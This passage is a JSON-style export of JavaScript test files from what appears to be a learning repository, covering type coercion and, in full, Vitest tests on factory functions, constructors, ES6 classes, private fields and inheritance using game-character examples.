str).toBe(\"string\")\n      // Use a mid-year date to avoid timezone edge cases\n      expect(str).toContain(\"2025\")\n    })\n\n    it('should prefer string coercion with + operator and string', () => {\n      const date = new Date(\"2025-06-15T12:00:00.000Z\")\n      const result = \"Date: \" + date\n\n      expect(typeof result).toBe(\"string\")\n      expect(result).toContain(\"Date:\")\n      expect(result).toContain(\"2025\")\n    })\n\n    it('should use valueOf for numeric context', () => {\n      const date = new Date(\"2025-01-01T00:00:00.000Z\")\n      \n      // In numeric context, Date uses valueOf (returns timestamp)\n      expect(date - 0).toBe(date.getTime())\n      expect(date * 1).toBe(date.getTime())\n    })\n  })\n\n  describe('Implicit Boolean Contexts', () => {\n    it('should coerce to boolean in if statements', () => {\n      let result = \"\"\n\n      if (\"hello\") result += \"truthy string \"\n      if (0) result += \"zero \"\n      if ([]) result += \"empty array \"\n      if ({}) result += \"empty object \"\n\n      expect(result).toBe(\"truthy string empty array empty object \")\n    })\n\n    it('should coerce to boolean in ternary operator', () => {\n      expect(\"hello\" ? \"yes\" : \"no\").toBe(\"yes\")\n      expect(\"\" ? \"yes\" : \"no\").toBe(\"no\")\n      expect(0 ? \"yes\" : \"no\").toBe(\"no\")\n      expect(1 ? \"yes\" : \"no\").toBe(\"yes\")\n    })\n\n    it('should coerce to boolean in logical NOT', () => {\n      expect(!0).toBe(true)\n      expect(!\"\").toBe(true)\n      expect(!null).toBe(true)\n      expect(!\"hello\").toBe(false)\n      expect(!1).toBe(false)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/object-oriented/factories-classes/factories-classes.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Factories and Classes', () => {\n  // ===========================================\n  // Opening Example: Factory vs Class\n  // ===========================================\n\n  describe('Opening Example: Factory vs Class', () => {\n    it('should create objects with factory function', () => {\n      function createPlayer(name) {\n        return {\n          name,\n          health: 100,\n          attack() {\n            return `${this.name} attacks!`\n          }\n        }\n      }\n\n      const player = createPlayer('Alice')\n\n      expect(player.name).toBe('Alice')\n      expect(player.health).toBe(100)\n      expect(player.attack()).toBe('Alice attacks!')\n    })\n\n    it('should create objects with class', () => {\n      class Enemy {\n        constructor(name) {\n          this.name = name\n          this.health = 100\n        }\n\n        attack() {\n          return `${this.name} attacks!`\n        }\n      }\n\n      const enemy = new Enemy('Goblin')\n\n      expect(enemy.name).toBe('Goblin')\n      expect(enemy.health).toBe(100)\n      expect(enemy.attack()).toBe('Goblin attacks!')\n    })\n\n    it('should show both patterns produce similar results', () => {\n      function createPlayer(name) {\n        return {\n          name,\n          health: 100,\n          attack() {\n            return `${this.name} attacks!`\n          }\n        }\n      }\n\n      class Enemy {\n        constructor(name) {\n          this.name = name\n          this.health = 100\n        }\n\n        attack() {\n          return `${this.name} attacks!`\n        }\n      }\n\n      const player = createPlayer('Alice')\n      const enemy = new Enemy('Goblin')\n\n      // Both have same structure\n      expect(player.name).toBe('Alice')\n      expect(enemy.name).toBe('Goblin')\n      expect(player.health).toBe(enemy.health)\n\n      // Both attack methods work\n      expect(player.attack()).toBe('Alice attacks!')\n      expect(enemy.attack()).toBe('Goblin attacks!')\n    })\n  })\n\n  // ===========================================\n  // Part 1: The Problem — Manual Object Creation\n  // ===========================================\n\n  describe('Part 1: The Problem — Manual Object Creation', () => {\n    it('should show manual object creation is repetitive', () => {\n      const player1 = {\n        name: 'Alice',\n        health: 100,\n        attack() {\n          return `${this.name} attacks!`\n        }\n      }\n\n      const player2 = {\n        name: 'Bob',\n        health: 100,\n        attack() {\n          return `${this.name} attacks!`\n        }\n      }\n\n      expect(player1.attack()).toBe('Alice attacks!')\n      expect(player2.attack()).toBe('Bob attacks!')\n\n      // Each object has its own copy of the method\n      expect(player1.attack).not.toBe(player2.attack)\n    })\n  })\n\n  // ===========================================\n  // Part 2: Factory Functions\n  // ===========================================\n\n  describe('Part 2: Factory Functions', () => {\n    describe('Basic Factory Function', () => {\n      it('should create objects with a factory function', () => {\n        function createPlayer(name) {\n          return {\n            name,\n            health: 100,\n            level: 1,\n            attack() {\n              return `${this.name} attacks for ${10 + this.level * 2} damage!`\n            }\n          }\n        }\n\n        const alice = createPlayer('Alice')\n        const bob = createPlayer('Bob')\n\n        expect(alice.name).toBe('Alice')\n        expect(bob.name).toBe('Bob')\n        expect(alice.health).toBe(100)\n        expect(alice.attack()).toBe('Alice attacks for 12 damage!')\n      })\n\n      it('should create independent objects', () => {\n        function createCounter() {\n          return {\n            count: 0,\n            increment() {\n              this.count++\n            }\n          }\n        }\n\n        const counter1 = createCounter()\n        const counter2 = createCounter()\n\n        counter1.increment()\n        counter1.increment()\n        counter1.increment()\n        counter2.increment()\n\n        expect(counter1.count).toBe(3)\n        expect(counter2.count).toBe(1)\n      })\n    })\n\n    describe('Factory with Multiple Parameters', () => {\n      it('should accept multiple parameters', () => {\n        function createEnemy(name, health, attackPower) {\n          return {\n            name,\n            health,\n            attackPower,\n            isAlive: true,\n            attack(target) {\n              return `${this.name} attacks ${target.name} for ${this.attackPower} damage!`\n            },\n            takeDamage(amount) {\n              this.health -= amount\n              if (this.health <= 0) {\n                this.health = 0\n                this.isAlive = false\n              }\n              return this.health\n            }\n          }\n        }\n\n        const goblin = createEnemy('Goblin', 50, 10)\n        const dragon = createEnemy('Dragon', 500, 50)\n\n        expect(goblin.health).toBe(50)\n        expect(dragon.health).toBe(500)\n        expect(goblin.attack(dragon)).toBe('Goblin attacks Dragon for 10 damage!')\n      })\n    })\n\n    describe('Factory with Configuration Object', () => {\n      it('should use defaults and merge with config', () => {\n        function createCharacter(config = {}) {\n          const defaults = {\n            name: 'Unknown',\n            health: 100,\n            attackPower: 10,\n            defense: 5\n          }\n\n          return { ...defaults, ...config }\n        }\n\n        const warrior = createCharacter({ name: 'Warrior', health: 150, defense: 20 })\n        const mage = createCharacter({ name: 'Mage', attackPower: 30 })\n        const villager = createCharacter()\n\n        expect(warrior.name).toBe('Warrior')\n        expect(warrior.health).toBe(150)\n        expect(warrior.defense).toBe(20)\n        expect(warrior.attackPower).toBe(10) // default\n\n        expect(mage.attackPower).toBe(30)\n        expect(mage.health).toBe(100) // default\n\n        expect(villager.name).toBe('Unknown')\n      })\n    })\n\n    describe('Factory with Private Variables (Closures)', () => {\n      it('should create truly private variables', () => {\n        function createBankAccount(initialBalance = 0) {\n          let balance = initialBalance\n\n          return {\n            deposit(amount) {\n              if (amount > 0) balance += amount\n              return balance\n            },\n            withdraw(amount) {\n              if (amount > 0 && amount <= balance) {\n                balance -= amount\n              }\n              return balance\n            },\n            getBalance() {\n              return balance\n            }\n          }\n        }\n\n        const account = createBankAccount(1000)\n\n        expect(account.getBalance()).toBe(1000)\n        expect(account.deposit(500)).toBe(1500)\n        expect(account.withdraw(200)).toBe(1300)\n\n        // Private variable is not accessible\n        expect(account.balance).toBe(undefined)\n\n        // Can't modify balance directly\n        account.balance = 1000000\n        expect(account.getBalance()).toBe(1300)\n      })\n\n      it('should keep transaction history private', () => {\n        function createAccount() {\n          let balance = 0\n          const history = []\n\n          return {\n            deposit(amount) {\n              balance += amount\n              history.push({ type: 'deposit', amount })\n              return balance\n            },\n            getHistory() {\n              return [...history] // return copy\n            }\n          }\n        }\n\n        const account = createAccount()\n        account.deposit(100)\n        account.deposit(50)\n\n        const history = account.getHistory()\n        expect(history).toHaveLength(2)\n        expect(history[0]).toEqual({ type: 'deposit', amount: 100 })\n\n        // Modifying returned array doesn't affect internal state\n        history.push({ type: 'fake', amount: 9999 })\n        expect(account.getHistory()).toHaveLength(2)\n\n        // Can't access history directly\n        expect(account.history).toBe(undefined)\n      })\n\n      it('should have private functions', () => {\n        function createCounter() {\n          let count = 0\n\n          function logChange(action) {\n            return `[LOG] ${action}: count is now ${count}`\n          }\n\n          return {\n            increment() {\n              count++\n              return logChange('increment')\n            },\n            getCount() {\n              return count\n            }\n          }\n        }\n\n        const counter = createCounter()\n\n        expect(counter.increment()).toBe('[LOG] increment: count is now 1')\n        expect(counter.getCount()).toBe(1)\n\n        // Private function is not accessible\n        expect(counter.logChange).toBe(undefined)\n      })\n    })\n\n    describe('Factory Creating Different Types', () => {\n      it('should return different object types based on input', () => {\n        function createWeapon(type) {\n          const weapons = {\n            sword: { name: 'Sword', damage: 25, type: 'melee' },\n            bow: { name: 'Bow', damage: 20, type: 'ranged', range: 100 },\n            staff: { name: 'Staff', damage: 35, type: 'magic', manaCost: 10 }\n          }\n\n          if (!weapons[type]) {\n            throw new Error(`Unknown weapon: ${type}`)\n          }\n\n          return { ...weapons[type] }\n        }\n\n        const sword = createWeapon('sword')\n        const bow = createWeapon('bow')\n        const staff = createWeapon('staff')\n\n        expect(sword.damage).toBe(25)\n        expect(bow.range).toBe(100)\n        expect(staff.manaCost).toBe(10)\n\n        expect(() => createWeapon('laser')).toThrow('Unknown weapon: laser')\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 3: Constructor Functions\n  // ===========================================\n\n  describe('Part 3: Constructor Functions', () => {\n    describe('Basic Constructor Function', () => {\n      it('should create objects with new keyword', () => {\n        function Player(name) {\n          this.name = name\n          this.health = 100\n          this.level = 1\n        }\n\n        const alice = new Player('Alice')\n        const bob = new Player('Bob')\n\n        expect(alice.name).toBe('Alice')\n        expect(bob.name).toBe('Bob')\n        expect(alice.health).toBe(100)\n      })\n\n      it('should work with instanceof', () => {\n        function Player(name) {\n          this.name = name\n        }\n\n        function Enemy(name) {\n          this.name = name\n        }\n\n        const alice = new Player('Alice')\n        const goblin = new Enemy('Goblin')\n\n        expect(alice instanceof Player).toBe(true)\n        expect(alice instanceof Enemy).toBe(false)\n        expect(goblin instanceof Enemy).toBe(true)\n        expect(goblin instanceof Object).toBe(true)\n      })\n    })\n\n    describe('The new Keyword', () => {\n      it('should simulate what new does', () => {\n        function myNew(Constructor, ...args) {\n          const obj = Object.create(Constructor.prototype)\n          const result = Constructor.apply(obj, args)\n          return typeof result === 'object' && result !== null ? result : obj\n        }\n\n        function Player(name) {\n          this.name = name\n          this.health = 100\n        }\n\n        Player.prototype.attack = function () {\n          return `${this.name} attacks!`\n        }\n\n        const player = myNew(Player, 'Alice')\n\n        expect(player.name).toBe('Alice')\n        expect(player.health).toBe(100)\n        expect(player.attack()).toBe('Alice attacks!')\n        expect(player instanceof Player).toBe(true)\n      })\n\n      it('should return custom object if constructor returns one', () => {\n        function ReturnsObject() {\n          this.value = 42\n          return { custom: 'object' }\n        }\n\n        function ReturnsPrimitive() {\n          this.value = 42\n          return 'ignored'\n        }\n\n        const obj1 = new ReturnsObject()\n        const obj2 = new ReturnsPrimitive()\n\n        expect(obj1).toEqual({ custom: 'object' })\n        expect(obj2.value).toBe(42) // primitive return is ignored\n      })\n    })\n\n    describe('Prototype Methods', () => {\n      it('should share methods via prototype', () => {\n        function Player(name) {\n          this.name = name\n        }\n\n        Player.prototype.attack = function () {\n          return `${this.name} attacks!`\n        }\n\n        const p1 = new Player('Alice')\n        const p2 = new Player('Bob')\n\n        // Methods are shared\n        expect(p1.attack).toBe(p2.attack)\n        expect(p1.attack()).toBe('Alice attacks!')\n        expect(p2.attack()).toBe('Bob attacks!')\n      })\n\n      it('should add multiple methods to prototype', () => {\n        function Character(name, health) {\n          this.name = name\n          this.health = health\n        }\n\n        Character.prototype.attack = function () {\n          return `${this.name} attacks!`\n        }\n\n        Character.prototype.takeDamage = function (amount) {\n          this.health -= amount\n          return this.health\n        }\n\n        Character.prototype.isAlive = function () {\n          return this.health > 0\n        }\n\n        const hero = new Character('Hero', 100)\n\n        expect(hero.attack()).toBe('Hero attacks!')\n        expect(hero.takeDamage(30)).toBe(70)\n        expect(hero.isAlive()).toBe(true)\n        expect(hero.takeDamage(80)).toBe(-10)\n        expect(hero.isAlive()).toBe(false)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 4: ES6 Classes\n  // ===========================================\n\n  describe('Part 4: ES6 Classes', () => {\n    describe('Basic Class Syntax', () => {\n      it('should create objects with class syntax', () => {\n        class Player {\n          constructor(name) {\n            this.name = name\n            this.health = 100\n            this.level = 1\n          }\n\n          attack() {\n            return `${this.name} attacks for ${10 + this.level * 2} damage!`\n          }\n        }\n\n        const alice = new Player('Alice')\n\n        expect(alice.name).toBe('Alice')\n        expect(alice.health).toBe(100)\n        expect(alice.attack()).toBe('Alice attacks for 12 damage!')\n        expect(alice instanceof Player).toBe(true)\n      })\n\n      it('should share methods via prototype (like constructors)', () => {\n        class Player {\n          constructor(name) {\n            this.name = name\n          }\n\n          attack() {\n            return `${this.name} attacks!`\n          }\n        }\n\n        const p1 = new Player('Alice')\n        const p2 = new Player('Bob')\n\n        expect(p1.attack).toBe(p2.attack) // Shared via prototype\n      })\n    })\n\n    describe('Class Fields', () => {\n      it('should support class fields with default values', () => {\n        class Character {\n          level = 1\n          experience = 0\n\n          constructor(name) {\n            this.name = name\n          }\n        }\n\n        const hero = new Character('Hero')\n\n        expect(hero.level).toBe(1)\n        expect(hero.experience).toBe(0)\n        expect(hero.name).toBe('Hero')\n      })\n    })\n\n    describe('Static Methods and Properties', () => {\n      it('should define static methods on class', () => {\n        class MathUtils {\n          static PI = 3.14159\n\n          static square(x) {\n            return x * x\n          }\n\n          static cube(x) {\n            return x * x * x\n          }\n        }\n\n        expect(MathUtils.PI).toBe(3.14159)\n        expect(MathUtils.square(5)).toBe(25)\n        expect(MathUtils.cube(3)).toBe(27)\n\n        // Not available on instances\n        const utils = new MathUtils()\n        expect(utils.PI).toBe(undefined)\n        expect(utils.square).toBe(undefined)\n      })\n\n      it('should use static factory methods', () => {\n        class User {\n          constructor(id, name) {\n            this.id = id\n            this.name = name\n          }\n\n          static createGuest() {\n            return new User(0, 'Guest')\n          }\n\n          static fromData(data) {\n            return new User(data.id, data.name)\n          }\n        }\n\n        const guest = User.createGuest()\n        const user = User.fromData({ id: 1, name: 'Alice' })\n\n        expect(guest.id).toBe(0)\n        expect(guest.name).toBe('Guest')\n        expect(user.id).toBe(1)\n        expect(user.name).toBe('Alice')\n      })\n    })\n\n    describe('Getters and Setters', () => {\n      it('should define getters and setters', () => {\n        class Circle {\n          constructor(radius) {\n            this._radius = radius\n          }\n\n          get radius() {\n            return this._radius\n          }\n\n          set radius(value) {\n            if (value < 0) throw new Error('Radius cannot be negative')\n            this._radius = value\n          }\n\n          get diameter() {\n            return this._radius * 2\n          }\n\n          set diameter(value) {\n            this._radius = value / 2\n          }\n\n          get area() {\n            return Math.PI * this._radius ** 2\n          }\n        }\n\n        const circle = new Circle(5)\n\n        expect(circle.radius).toBe(5)\n        expect(circle.diameter).toBe(10)\n        expect(circle.area).toBeCloseTo(78.54, 1)\n\n        circle.diameter = 20\n        expect(circle.radius).toBe(10)\n\n        expect(() => {\n          circle.radius = -5\n        }).toThrow('Radius cannot be negative')\n      })\n    })\n\n    describe('Private Fields (#)', () => {\n      it('should create truly private fields', () => {\n        class BankAccount {\n          #balance = 0\n\n          constructor(initialBalance) {\n            this.#balance = initialBalance\n          }\n\n          deposit(amount) {\n            if (amount > 0) this.#balance += amount\n            return this.#balance\n          }\n\n          getBalance() {\n            return this.#balance\n          }\n        }\n\n        const account = new BankAccount(1000)\n\n        expect(account.getBalance()).toBe(1000)\n        expect(account.deposit(500)).toBe(1500)\n\n        // Private field is not accessible\n        expect(account.balance).toBe(undefined)\n        expect(account['#balance']).toBe(undefined)\n      })\n\n      it('should support private methods', () => {\n        class Counter {\n          #count = 0\n\n          #log(action) {\n            return `[${action}] count: ${this.#count}`\n          }\n\n          increment() {\n            this.#count++\n            return this.#log('increment')\n          }\n\n          getCount() {\n            return this.#count\n          }\n        }\n\n        const counter = new Counter()\n\n        expect(counter.increment()).toBe('[increment] count: 1')\n        expect(counter.getCount()).toBe(1)\n\n        // Private method is not accessible\n        expect(counter.log).toBe(undefined)\n      })\n    })\n\n    describe('Classes are Syntactic Sugar', () => {\n      it('should prove classes are functions', () => {\n        class Player {\n          constructor(name) {\n            this.name = name\n          }\n        }\n\n        expect(typeof Player).toBe('function')\n      })\n\n      it('should have same prototype behavior as constructor functions', () => {\n        class Player {\n          constructor(name) {\n            this.name = name\n          }\n\n          attack() {\n            return `${this.name} attacks!`\n          }\n        }\n\n        const player = new Player('Alice')\n\n        expect(player.constructor).toBe(Player)\n        expect(Object.getPrototypeOf(player)).toBe(Player.prototype)\n        expect(player.__proto__).toBe(Player.prototype)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 5: Inheritance\n  // ===========================================\n\n  describe('Part 5: Inheritance', () => {\n    describe('Class Inheritance with extends', () => {\n      it('should inherit from parent class', () => {\n        class Character {\n          constructor(name, health) {\n            this.name = name\n            this.health = health\n          }\n\n          attack() {\n            return `${this.name} attacks!`\n          }\n\n          takeDamage(amount) {\n            this.health -= amount\n            return this.health\n          }\n        }\n\n        class Warrior extends Character {\n          constructor(name) {\n            super(name, 150) // Call parent constructor\n            this.armor = 20\n          }\n\n          shieldBash() {\n            return `${this.name} bashes with shield for ${this.armor} damage!`\n          }\n        }\n\n        const conan = new Warrior('Conan')\n\n        expect(conan.name).toBe('Conan')\n        expect(conan.health).toBe(150)\n        expect(conan.armor).toBe(20)\n        expect(conan.attack()).toBe('Conan attacks!')\n        expect(conan.shieldBash()).toBe('Conan bashes with shield for 20 damage!')\n      })\n\n      it('should work with instanceof through inheritance chain', () => {\n        class Animal {}\n        class Dog extends Animal {}\n\n        const rex = new Dog()\n\n        expect(rex instanceof Dog).toBe(true)\n        expect(rex instanceof Animal).toBe(true)\n        expect(rex instanceof Object).toBe(true)\n      })\n    })\n\n    describe('Method Overriding', () => {\n      it('should override parent methods', () => {\n        class Animal {\n          speak() {\n            return 'Some sound'\n          }\n        }\n\n        class Dog extends Animal {\n          speak() {\n            return 'Woof!'\n          }\n        }\n\n        class Cat extends Animal {\n          speak() {\n            return 'Meow!'\n          }\n        }\n\n        const animal = new Animal()\n        const dog = new Dog()\n        const cat = new Cat()\n\n        expect(animal.speak()).toBe('Some sound')\n        expect(dog.speak()).toBe('Woof!')\n        expect(cat.speak()).toBe('Meow!')\n      })\n\n      it('should call parent method with super', () => {\n        class Character {\n          constructor(name) {\n            this.name = name\n          }\n\n          attack() {\n            return `${this.name} attacks!`\n          }\n        }\n\n        class Warrior extends Character {\n          attack() {\n            return `${super.attack()} With great strength!`\n          }\n        }\n\n        const warrior = new Warrior('Conan')\n\n        expect(warrior.attack()).toBe('Conan attacks! With great strength!')\n      })\n    })\n\n    describe('The super Keyword', () => {\n      it('should require super() before using this in derived class', () => {\n        class Parent {\n          constructor(name) {\n            this.name = name\n          }\n        }\n\n        class Child extends Parent {\n          constructor(name, age) {\n            super(name) // Must call before using this\n            this.age = age\n          }\n        }\n\n        const child = new Child('Alice', 10)\n\n        expect(child.name).toBe('Alice')\n        expect(child.age).toBe(10)\n      })\n    })\n\n    describe('Factory Composition', () => {\n      it('should compose behaviors from multiple sources', () => {\n        const canWalk = (state) => ({\n          walk() {\n            state.position += state.speed\n            return `${state.name} walks to position ${state.position}`\n          }\n        })\n\n        const canSwim = (state) => ({\n          swim() {\n            state.position += state.speed * 1.5\n            return `${state.name} swims to position ${state.position}`\n          }\n        })\n\n        const canFly = (state) => ({\n          fly() {\n            state.position += state.speed * 3\n            return `${state.name} flies to position ${state.position}`\n          }\n        })\n\n        function createDuck(name) {\n          const state = { name, position: 0, speed: 2 }\n          return {\n            name: state.name,\n            ...canWalk(state),\n            ...canSwim(state),\n            ...canFly(state),\n            getPosition: () => state.position\n          }\n        }\n\n        function createPenguin(name) {\n          const state = { name, position: 0, speed: 1 }\n          return {\n            name: state.name,\n            ...canWalk(state),\n            ...canSwim(state),\n            // No fly!\n            getPosition: () => state.position\n          }\n        }\n\n        const duck = createDuck('Donald')\n        const penguin = createPenguin('Tux')\n\n        expect(duck.walk()).toBe('Donald walks to position 2')\n        expect(duck.swim()).toBe('Donald swims to position 5')\n        expect(duck.fly()).toBe('Donald flies to position 11')\n\n        expect(penguin.walk()).toBe('Tux walks to position 1')\n        expect(penguin.swim()).toBe('Tux swims to position 2.5')\n        expect(penguin.fly).toBe(undefined) // Penguins can't fly\n      })\n\n      it('should support canSpeak behavior composition', () => {\n        const canSpeak = (state) => ({\n          speak(message) {\n            return `${state.name} says: \"${message}\"`\n          }\n        })\n\n        const canWalk = (state) => ({\n          walk() {\n            state.position += state.speed\n            return `${state.name} walks to position ${state.position}`\n          }\n        })\n\n        function createDuck(name) {\n          const state = { name, position: 0, speed: 2 }\n          return {\n            name: state.name,\n            ...canWalk(state),\n            ...canSpeak(state),\n            getPosition: () => state.position\n          }\n        }\n\n        function createFish(name) {\n          const state = { name, position: 0, speed: 4 }\n          return {\n            name: state.name,\n            // Fish can't speak!\n            getPosition: () => state.position\n          }\n        }\n\n        const duck = createDuck('Donald')\n        const fish = createFish('Nemo')\n\n        expect(duck.speak('Quack!')).toBe('Donald says: \"Quack!\"')\n        expect(duck.walk()).toBe('Donald walks to position 2')\n\n        expect(fish.speak).toBe(undefined) // Fish can't speak\n      })\n\n      it('should allow flexible behavior combinations', () => {\n        const withHealth = (state) => ({\n          takeDamage(amount) {\n            state.health -= amount\n            return state.health\n          },\n          heal(amount) {\n            state.health = Math.min(state.maxHealth, state.health + amount)\n            return state.health\n          },\n          getHealth: () => state.health,\n          isAlive: () => state.health > 0\n        })\n\n        const withMana = (state) => ({\n          useMana(amount) {\n            if (state.mana >= amount) {\n              state.mana -= amount\n              return true\n            }\n            return false\n          },\n          getMana: () => state.mana\n        })\n\n        function createWarrior(name) {\n          const state = { name, health: 150, maxHealth: 150 }\n          return {\n            name: state.name,\n            ...withHealth(state)\n            // No mana for warriors\n          }\n        }\n\n        function createMage(name) {\n          const state = { name, health: 80, maxHealth: 80, mana: 100 }\n          return {\n            name: state.name,\n            ...withHealth(state),\n            ...withMana(state)\n          }\n        }\n\n        const warrior = createWarrior('Conan')\n        const mage = createMage('Gandalf')\n\n        expect(warrior.getHealth()).toBe(150)\n        expect(warrior.takeDamage(50)).toBe(100)\n        expect(warrior.getMana).toBe(undefined) // Warriors don't have mana\n\n        expect(mage.getHealth()).toBe(80)\n        expect(mage.getMana()).toBe(100)\n        expect(mage.useMana(30)).toBe(true)\n        expect(mage.getMana()).toBe(70)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 6: Factory vs Class Comparison\n  // ===========================================\n\n  describe('Part 6: Factory vs Class Comparison', () => {\n    describe('instanceof behavior', () => {\n      it('should work with classes but not factories', () => {\n        class ClassPlayer {\n          constructor(name) {\n            this.name = name\n          }\n        }\n\n        function createPlayer(name) {\n          return { name }\n        }\n\n        const classPlayer = new ClassPlayer('Alice')\n        const factoryPlayer = createPlayer('Bob')\n\n        expect(classPlayer instanceof ClassPlayer).toBe(true)\n        expect(factoryPlayer instanceof Object).toBe(true)\n        // Factory objects are just plain objects\n      })\n    })\n\n    describe('Memory efficiency', () => {\n      it('should show classes share prototype methods', () => {\n        class ClassPlayer {\n          attack() {\n            return 'attack'\n          }\n        }\n\n        const p1 = new ClassPlayer()\n        const p2 = new ClassPlayer()\n\n        expect(p1.attack).toBe(p2.attack) // Same function reference\n      })\n\n      it('should show factories create new methods for each instance', () => {\n        function createPlayer() {\n          return {\n            attack() {\n              return 'attack'\n            }\n          }\n        }\n\n        const p1 = createPlayer()\n        const p2 = createPlayer()\n\n        expect(p1.attack).not.toBe(p2.attack) // Different function references\n      })\n    })\n\n    describe('Privacy comparison', () => {\n      it('should show both can achieve true privacy', () => {\n        // Class with private fields\n        class ClassWallet {\n          #balance = 0\n\n          deposit(amount) {\n            this.#balance += amount\n          }\n          getBalance() {\n            return this.#balance\n          }\n        }\n\n        // Factory with closures\n        function createWallet() {\n          let balance = 0\n          return {\n            deposit(amount) {\n              balance += amount\n            },\n            getBalance() {\n              return balance\n            }\n          }\n        }\n\n        const classWallet = new ClassWallet()\n        const factoryWallet = createWallet()\n\n        classWallet.deposit(100)\n        factoryWallet.deposit(100)\n\n        expect(classWallet.getBalance()).toBe(100)\n        expect(factoryWallet.getBalance()).toBe(100)\n\n        // Both are truly private\n        expect(classWallet.balance).toBe(undefined)\n        expect(factoryWallet.balance).toBe(undefined)\n      })\n    })\n  })\n\n  // ===========================================\n  // Common Mistakes\n  // ===========================================\n\n  describe('Common Mistakes', () => {\n    describe('Mistake 1: Forgetting new with Constructor Functions', () => {\n      it('should throw or behave unexpectedly when new is forgotten (strict mode)', () => {\n        function Player(name) {\n          this.name = name\n          this.health = 100\n        }\n\n        // In strict mode (which modern JS uses), forgetting 'new' throws an error\n        // because 'this' is undefined, not the global object\n        expect(() => Player('Alice')).toThrow()\n      })\n\n      it('should work correctly with new keyword', () => {\n        function Player(name) {\n          this.name = name\n          this.health = 100\n        }\n\n        const bob = new Player('Bob')\n\n        expect(bob.name).toBe('Bob')\n        expect(bob.health).toBe(100)\n        expect(bob instanceof Player).toBe(true)\n      })\n\n      it('should throw error when calling class without new', () => {\n        class Player {\n          constructor(name) {\n            this.name = name\n          }\n        }\n\n        // Classes protect against this mistake\n        expect(() => Player('Alice')).toThrow()\n      })\n    })\n\n    describe('Mistake 3: Underscore Convention vs True Privacy', () => {\n      it('should show underscore properties ARE accessible (not truly private)', () => {\n        class BankAccount {\n          constructor(balance) {\n            this._balance = balance // Convention only, NOT private!\n          }\n\n          getBalance() {\n            return this._balance\n          }\n        }\n\n        const account = new BankAccount(1000)\n\n        // Underscore properties are fully accessible!\n        expect(account._balance).toBe(1000)\n\n        // Can be modified directly\n        account._balance = 999999\n        expect(account.getBalance()).toBe(999999)\n      })\n\n      it('should show private fields (#) are truly private', () => {\n        class SecureBankAccount {\n          #balance // Truly private\n\n          constructor(balance) {\n            this.#balance = balance\n          }\n\n          getBalance() {\n            return this.#balance\n          }\n        }\n\n        const secure = new SecureBankAccount(1000)\n\n        // Private field is not accessible\n        expect(secure.balance).toBe(undefined)\n\n        // Can only access via methods\n        expect(secure.getBalance()).toBe(1000)\n      })\n    })\n\n    describe('Mistake 4: Using this Incorrectly in Factory Functions', () => {\n      it('should show this can break when method is extracted', () => {\n        function createCounter() {\n          return {\n            count: 0,\n            increment() {\n              this.count++ // 'this' depends on how method is called\n            }\n          }\n        }\n\n        const counter = createCounter()\n        counter.increment() // Works - this is counter\n        expect(counter.count).toBe(1)\n\n        // Extract the method\n        const increment = counter.increment\n\n        // Call without context - 'this' is undefined in strict mode\n        // This won't modify counter.count\n        try {\n          increment()\n        } catch (e) {\n          // In strict mode, this throws because this is undefined\n        }\n\n        // counter.count is still 1 because the extracted call didn't work\n        expect(counter.count).toBe(1)\n      })\n\n      it('should show closures avoid this problem', () => {\n        function createSafeCounter() {\n          let count = 0 // Closure variable - no 'this' needed\n\n          return {\n            increment() {\n              count++ // Uses closure, not this\n            },\n            getCount() {\n              return count\n            }\n          }\n        }\n\n        const counter = createSafeCounter()\n        counter.increment()\n        expect(counter.getCount()).toBe(1)\n\n        // Extract the method\n        const increment = counter.increment\n\n        // Works even when extracted!\n        increment()\n        expect(counter.getCount()).toBe(2)\n      })\n    })\n  })\n\n  // ===========================================\n  // Additional Edge Cases\n  // ===========================================\n\n  describe('Edge Cases', () => {\n    describe('Class Expression', () => {\n      it('should support class expressions', () => {\n        const Player = class {\n          constructor(name) {\n            this.name = name\n          }\n        }\n\n        const alice = new Player('Alice')\n        expect(alice.name).toBe('Alice')\n      })\n\n      it('should support named class expressions', () => {\n        const Player = class PlayerClass {\n          constructor(name) {\n            this.name = name\n          }\n\n          static getClassName() {\n            return PlayerClass.name\n          }\n        }\n\n        expect(Player.name).toBe('PlayerClass')\n        expect(Player.getClassName()).toBe('PlayerClass')\n      })\n    })\n\n    describe('Extending Built-in Objects', () => {\n      it('should extend Array', () => {\n        class ExtendedArray extends Array {\n          get first() {\n            return this[0]\n          }\n\n          get last() {\n            return this[this.length - 1]\n          }\n\n          sum() {\n            return this.reduce((a, b) => a + b, 0)\n          }\n        }\n\n        const arr = new ExtendedArray(1, 2, 3, 4, 5)\n\n        expect(arr.first).toBe(1)\n        expect(arr.last).toBe(5)\n        expect(arr.sum()).toBe(15)\n        expect(arr instanceof Array).toBe(true)\n        expect(arr instanceof ExtendedArray).toBe(true)\n\n        // Array methods still work and return ExtendedArray\n        const doubled = arr.map((x) => x * 2)\n        expect(doubled instanceof ExtendedArray).toBe(true)\n        expect(doubled.sum()).toBe(30)\n      })\n    })\n\n    describe('Static Initialization Blocks', () => {\n      it('should support static initialization blocks', () => {\n        class Config {\n          static values = {}\n\n          static {\n            Config.values.initialized = true\n            Config.values.timestamp = Date.now()\n          }\n        }\n\n        expect(Config.values.initialized).toBe(true)\n        expect(typeof Config.values.timestamp).toBe('number')\n      })\n    })\n\n    describe('Factory with Validation', () => {\n      it('should validate input in factory', () => {\n        function createUser(name, age) {\n          if (typeof name !== 'string' || name.length === 0) {\n            throw new Error('Name must be a non-empty string')\n          }\n          if (typeof age !== 'number' || age < 0) {\n            throw new Error('Age must be a positive number')\n          }\n\n          return {\n            name,\n            age,\n            isAdult: age >= 18\n          }\n        }\n\n        const user = createUser('Alice', 25)\n        expect(user.name).toBe('Alice')\n        expect(user.isAdult).toBe(true)\n\n        expect(() => createUser('', 25)).toThrow('Name must be a non-empty string')\n        expect(() => createUser('Alice', -5)).toThrow('Age must be a positive number')\n      })\n    })\n\n    describe('Arrow Function Class Fields', () => {\n      it('should auto-bind this with arrow function class fields', () => {\n        class Button {\n          count = 0\n\n          // Arrow function automatically binds 'this' to the instance\n          handleClick = () => {\n            this.count++\n            return this.count\n          }\n        }\n\n        const button = new Button()\n\n        // Works when called directly\n        expect(button.handleClick()).toBe(1)\n\n        // Extract the method\n        const handler = button.handleClick\n\n        // Works even when extracted! 'this' is still bound to button\n        expect(handler()).toBe(2)\n        expect(button.count).toBe(2)\n      